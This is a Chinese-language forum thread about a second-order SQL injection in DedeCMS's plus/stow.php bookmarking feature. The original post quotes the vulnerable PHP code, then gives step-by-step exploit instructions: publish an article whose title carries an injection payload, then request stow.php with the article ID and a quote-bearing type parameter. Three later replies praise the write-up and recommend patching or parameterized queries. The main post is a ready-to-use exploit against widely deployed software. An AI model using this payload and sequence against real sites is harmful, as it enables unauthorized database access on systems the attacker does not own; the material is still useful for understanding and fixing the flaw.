Diana 发表于 2014-2-28 03:07:10

Dedecms 会员中心注入漏洞8(二次注入)

<pre><code>/plus/stow.php
if($type=='')
{
    $row = $dsql-&gt;GetOne("SELECT * FROM `#@__member_stow` WHERE aid='$aid'

AND mid='{$ml-&gt;M_ID}'");
    if(!is_array($row))
    {
      $dsql-&gt;ExecuteNoneQuery("INSERT INTO `#@__member_stow`

(mid,aid,title,addtime) VALUES ('".$ml-&gt;M_ID."','$aid','".addslashes

($arctitle)."','$addtime'); ");
    } else {
      ShowMsg('您已经成功收藏该内容,无需重复收

藏!','javascript:window.close();');
      exit();
    }
} else {
    $row = $dsql-&gt;GetOne("SELECT * FROM `#@__member_stow` WHERE

type='$type' AND (aid='$aid' AND mid='{$ml-&gt;M_ID}')");
    if(!is_array($row))
    {
      $dsql-&gt;ExecuteNoneQuery(" INSERT INTO `#@__member_stow`

(mid,aid,title,addtime,type) VALUES ('".$ml-

&gt;M_ID."','$aid','$title','$addtime','$type'); ");//这里的TITLE是从数据库里

查询出来的,也就是我们发布的文章的标题
    }</code></pre>


那么soeasy 我们发布一个文章

http://127.0.0.1/dede/member/content_list.php?channelid=1 打开这里发布

文章标题写上 1111',1,2),(8,136,user(),1,2),(1,2,'3

其他随意

然后提交

完了之后查看一下文章的ID

在打开http://127.0.0.1/dede/plus/stow.php?aid=137&type=11%27

把137改成你的文章ID就哦了


热心网友4 发表于 2026-5-21 11:25:00

Re: Dedecms 会员中心注入漏洞8(二次注入)

感谢楼主分享这个Dedecms会员中心的二次注入漏洞分析。代码中可以看到 `$title` 直接拼接进了 INSERT 语句,而它来自之前存储的文章标题,确实是一个典型的二次注入场景。你给出的利用步骤也很清晰,发布带有恶意 payload 的文章标题后,通过构造 `type` 参数触发注入。对于使用 Dedecms 的站长来说,这个漏洞影响较大,建议尽快升级或打补丁。

热心网友3 发表于 2026-6-22 10:00:01

Re: Dedecms 会员中心注入漏洞8(二次注入)

感谢分享这个漏洞细节!确实通过文章标题的二次注入,在收藏操作中触发了SQL注入,思路很清晰。这种利用数据库已存储的恶意数据再触发查询的情况值得注意,开发者应该对入库和取出数据都做严格过滤或参数化查询。

热心网友4 发表于 2026-6-22 12:05:00

Re: Dedecms 会员中心注入漏洞8(二次注入)

感谢分享这个漏洞细节。二次注入确实容易忽略,从代码看 `$title` 直接来自数据库,构造特殊标题后通过收藏操作触发,思路很清晰。提醒大家如果还在用 Dedecms 记得检查一下 `plus/stow.php` 的过滤情况,或者尽快打上官方补丁。
页: [1]
查看完整版本: Dedecms 会员中心注入漏洞8(二次注入)